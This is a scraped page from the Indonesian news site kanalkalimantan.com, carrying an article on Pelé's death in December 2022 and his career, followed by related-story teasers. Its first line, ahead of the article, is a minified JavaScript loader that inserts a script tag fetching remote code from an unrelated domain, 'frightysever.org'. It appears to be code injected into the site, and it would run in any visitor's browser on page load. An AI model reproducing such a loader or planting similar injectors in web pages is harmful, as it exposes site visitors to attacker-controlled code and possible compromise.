(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SAO PAOLO – Kabar duka dari dunia sepak bola, Edson Arantes do Nascimento alias Pele sang legenda tutup usia di umur 82 akibat komplikasi penyakit yang diderita sejak lama.
Legenda timnas Brasil, Pele meninggal dunia di Rumah Sakit Albert Einstein di Sao Paolo, Brasil pada Jum’at (30/12/2022) dinihari WIB.
Kabar ini sontak membuat geger jagat dunia sepak bola, Pele diketahui memang mengidap penyakit serius, kanker kolon sejak tahun lalu.
Penyakit yang menggerogoti tubuh Pele meski sempat dirawat di rumah sakit, sekaligus menjadi peristirahatan terakhirnya hingga tutup usia.
Baca juga : Enam Desa di HSU Terima Predikat Desa Mandiri dari Kemendes PDTT RI
Rekam Jejak dan Prestasi Pele
Meski tak berkarier di Eropa, sebutan Greatest of All Time (GOAT) pantas disematkan pada Pele dan tak perlu harus berkarier di Benua Biru.
Pele menjadi satu-satunya pemain yang sukses membawa timnas Brasil merengkuh tiga gelar Piala Dunia, masing-masing pada edisi 1958, 1962 dan 1970.
Memiliki 97 caps untuk timnas Brasill dengan 77 gol selama berseragam Selecao, Santos FC dan New York Cosmos adalah klub yang pernah dibela.
Hingga tutup karier, Pele sukses mencetak 1.091 gol untuk Santos FC, kariernya di Piala Dunia bahkan dijalani saat usianya masih 17 tahun di Swedia, 1958.
Sejak saat itu nomor punggung 10 skuad Brasil menjadi miliknya, bahkan hingga tim Samba mencatatkan rekor paling sempurna di Piala Dunia belum ada sosok pengganti sepadan.
Baca juga : Sita 8,2 Kg Sabu dari 24 Kasus Narkoba Sepanjang 2022, Polres Lamandau Minta Pasukan K9
Pele juga menjadi salah satu sosok penting berkembangnya sepak bola di Negeri Paman Sam, Amerika Serikat.
Lewat hijrah yang dilakukan pada 1975, tepat setelah berpisah dengan Santos FC dan berlabuh di New York Cosmos.
Hanya butuh tiga tahun bagi Pele mengubah citra dan pandangan masyarakat Amerika Serikat terhadap sepak bola.
Sepak bola bukan olahraga yang populer di Amerika Serikat saat itu, namun kombinasi Pele dengan New York Cosmos sukses melakukan revolusi olahraga.
Baca juga : Aduan Warga Diserap Polsek Banjarbaru Melalui Jumat Curhat
Selain itu Pele dan klubnya ini juga menyebarkan Gospel of the Beautiful Game, sosoknya menjadi wakil untuk kota paling global dalam laga global.
Warisannya pun kini sudah bisa dinikmati banyak orang, termasuk di India, China dan Jepang, begitulah secuil rekam jejak Pele dan hidupnya dengan sepak bola. (Suara.com/eko isdiyanto)
Editor : kk
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.